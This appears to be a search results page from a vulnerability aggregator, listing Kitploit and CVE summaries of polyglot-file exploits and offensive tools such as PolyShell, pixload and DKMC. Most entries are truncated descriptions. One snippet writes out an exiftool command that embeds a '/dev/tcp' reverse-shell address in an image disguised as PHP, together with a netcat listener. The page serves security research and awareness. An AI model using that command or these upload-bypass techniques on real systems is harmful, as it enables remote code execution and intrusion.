Lucene search
+L

110 matches found

Kitploit
Kitploit
added 2026/09/07 4:10 p.m.4 views

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 Polyglot Payload In the last weeks in November 2025, an interesting vulnerability CVE-2025-64512 was disclosed in pdfminer.six, a popular Python project to process PDF files, used in particular in AI pipelines. The vulnerability enables remote code execution by deserializing...

8.6CVSS7.4AI score0.00312EPSS
SaveExploits9References1
Kitploit
Kitploit
added 2026/09/07 3:19 p.m.4 views

Payload-and-Polyglot-Lists

Listas de Payloads y Políglotas ¿Encontraste un payload que no funciona? Por favor abre un issue con el payload, el contexto objetivo y lo que esperabas que sucediera. Las solicitudes de extracción con correcciones o nuevos payloads siempre son bienvenidas. La investigación está en curso. Este...

6.1AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/07 2:37 p.m.5 views

tweetable-polyglot-png

tweetable-polyglot-png Pack up to 3MB of data into a tweetable PNG polyglot file. See it in action here: https://twitter.com/David3141593/status/1371974874856587268 Other image hosts I've verified this technique to work on: Imgur https://i.imgur.com/kNhGrN3.png Github repo thumbnail/header image...

6AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/07 10:11 a.m.6 views

polyshell

PolyShell: un políglota de Bash/Batch/PowerShell Qué es PolyShell es un script que es válido simultáneamente en Bash, Windows Batch y PowerShell es decir, un políglota. Esto convierte a PolyShell en una plantilla útil para pruebas de penetración, ya que se puede ejecutar en la mayoría de los...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/07 9:54 a.m.3 views

bad-dicom

Bad-DICOM PoC of my handcrafted CVE-2019-11687's exploit tool. I've crafted this PEDICOM as a Proof of Concept for my college's capstone: "Detection and prevention of attacks based on vulnerabilities of DICOM files against medical management services ". What is a PEDICOM DoomDicom.dcm is a PEDICO...

9.3CVSS7.7AI score0.02762EPSS
SaveExploits2References1
Kitploit
Kitploit
added 2026/09/07 8:58 a.m.7 views

gitgalaxy

GitGalaxy Repository-scale structural intelligence without compilation. Docs · Visualizer · Language Crucible · Raw Output 1 scan · 97 structural signals · 50+ languages · no compilation · 19 risk-exposure categories · 6 outputs The short version GitGalaxy builds a language-agnostic structural...

5.9AI score
SaveExploits0References3
Kitploit
Kitploit
added 2026/09/07 6:49 a.m.5 views

CVE-2023-24610

CVE-2023-24610 This is a proof of concept for CVE-2023-24610 We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php We change the file to png so it will pass the front-end check After that, we start a nc listener on port 8888 ...

8.8CVSS7.7AI score0.02121EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/07 4:25 a.m.4 views

CVE-2025-58440

CVE-2025-58440 Ejecución Remota de Código RCE mediante ataque de archivo políglota e inyección de byte nulo en Laravel FileManager Resumen Las versiones 2.11 del paquete unisharp/laravel-filemanager son vulnerables a Ejecución Remota de Código RCE debido a una validación inadecuada del tipo de...

6.3AI score
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/07 2:19 a.m.8 views

CVE-2026-13001

CVE-2026-13001 — RCE por subida de archivos no autenticada en Podlove Podcast Publisher Desajuste entre isimage y extractfileextension → Subida de poliglotos PHP Descripción general CVE-2026-13001 es una vulnerabilidad de subida arbitraria de archivos no autenticada de gravedad crítica CVSS 9.8 e...

9.8CVSS5.8AI score0.03757EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/07 2:05 a.m.9 views

XanXSS

XanXSS XanXSS is a reflected XSS searching tool DOM coming soon that creates payloads based from templates. Unlike other XSS scanners that just run through a list of payloads. XanXSS tries to make the payload unidentifiable, for example: root@kitploit: /cLIcKMe!XaNxss With XanXSS every payload is...

6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/06 11:18 p.m.6 views

pixload

pixload -- Image Payload Creating tools DESCRIPTION Set of tools for hiding backdoors creating/injecting payload into images. The following image types are currently supported: BMP, GIF, JPG, PNG, WebP. about Useful references for better understanding of pixload and its use-cases: Bypassing CSP...

5.9AI score
SaveExploits0References8
Kitploit
Kitploit
added 2026/09/06 9:46 p.m.7 views

powerglot

Powerglot Powerglot codifica varios tipos de scripts usando políglotas, por ejemplo, scripts ofensivos de PowerShell. No se necesita un cargador para ejecutar el payload. En ejercicios de red team o tareas ofensivas, el enmascaramiento de payloads suele realizarse mediante esteganografía,...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/06 7:11 p.m.7 views

SNOWCRASH

SNOWCRASH A polyglot payload generator Introduction SNOWCRASH creates a script that can be launched on both Linux and Windows machines. Payload selected by the user in this case combined Bash and Powershell code is embedded into a single polyglot template, which is platform-agnostic. There are fe...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/04 2:28 p.m.7 views

EXPLOIT-CVE-2025-27515

CVE-2025-27515 Proof of Concept A practical demonstration of CVE-2025-27515 , a file upload validation bypass vulnerability in Laravel Framework ≤ 12.0.0. Vulnerability Overview CVE-2025-27515 is a validation bypass that allows attackers to circumvent file upload restrictions when Laravel...

9.8CVSS7.5AI score0.00734EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/04 4:00 a.m.8 views

DKMC

Don't Kill My Cat DKMC WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission. Don't kill my cat is a tool that generates obfuscated shellcode that is...

6.2AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/03 8:26 p.m.9 views

CVE-2026-13001

CVE-2026-13001 — Podlove Podcast Publisher Unauthenticated File Upload RCE isimage vs extractfileextension Mismatch → PHP Polyglot Upload Overview CVE-2026-13001 is a critical-severity CVSS 9.8 unauthenticated arbitrary file upload vulnerability in the Podlove Podcast Publisher WordPress plugin...

9.8CVSS5.7AI score0.03757EPSS
SaveExploits6
Kitploit
Kitploit
added 2026/09/03 2:50 a.m.4 views

dompdf-rce

Exploit de RCE para dompdf Este repositorio contiene una aplicación de demostración vulnerable que utiliza dompdf 1.2.0 y un exploit que logra ejecución remota de código mediante un archivo políglota ttf+php. Para más detalles, visite https://positive.security/blog/dompdf-rce Instrucciones 1...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/03 1:37 a.m.5 views

BobTheSmuggler

BobTheSmuggler Quick Update Jan 15th, 2024 -Support for multi-file compression has been added. If you have multiple files generated for your final payload e.g., DLL-Sideloading files or multi-stage delivery files, you can now use the '-i' option to specify the directory path. If a directory path ...

5.9AI score
SaveExploits0References1
CVE
CVE
added 2026/09/02 2:16 p.m.8 views

CVE-2026-10821

Yoast SEO Premium WordPress plugin before 27.6.1 fails to sanitize control characters from redirect origins before writing them to the site's Apache .htaccess file when file-based redirect mode is enabled. Because the redirect-creation endpoint is accessible to users with Author-level access, an ...

6.6CVSS6AI score0.00512EPSS
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/02 6:10 a.m.5 views

CVE-2023-47129

CVE-2023-47129 - Statamic CMS versions 4.33.0 - Remote Code Execution Description In versions 4.33.0 of Statamic CMS where the front-end has a form with active file upload, it is possible to send PHP files created to look like images, regardless of the mime validation rules. This vulnerability...

9.8CVSS8.2AI score0.01121EPSS
SaveExploits0
Rows per page
Query Builder